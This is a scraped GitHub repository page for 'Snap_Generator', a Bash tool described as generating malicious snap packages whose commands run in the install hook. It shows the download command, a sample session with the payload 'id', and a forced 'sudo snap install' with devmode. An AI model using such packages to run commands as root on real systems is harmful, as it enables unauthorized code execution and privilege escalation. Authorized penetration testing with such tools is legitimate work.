r3s-ost / Snap_Generator

Quick Bash script to generate malicious snap packages. Commands are executed in the install hook runtime.

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Snap_Generator

Quick Bash script to generate malicious snap packages. Commands are executed in the install hook runtime.

Requirements

Installation/Usage

  • Download/setup:

wget https://raw.githubusercontent.com/0xAsh/Snap_Generator/main/snap_generator.sh && chmod +x snap_generator.sh

  • Generate snap package:
$ ./snap_generator.sh 
Enter payload: 
id
Payload is set to: id 

Enter payload name: 
id


...Generating Payload...

Created package {:path=>"id_1.0_all.snap"}

  • Run generated package:

sudo snap install id_1.0_all.snap --dangerous --devmode

References:

About

Quick Bash script to generate malicious snap packages. Commands are executed in the install hook runtime.


Languages

Language:Shell 100.0%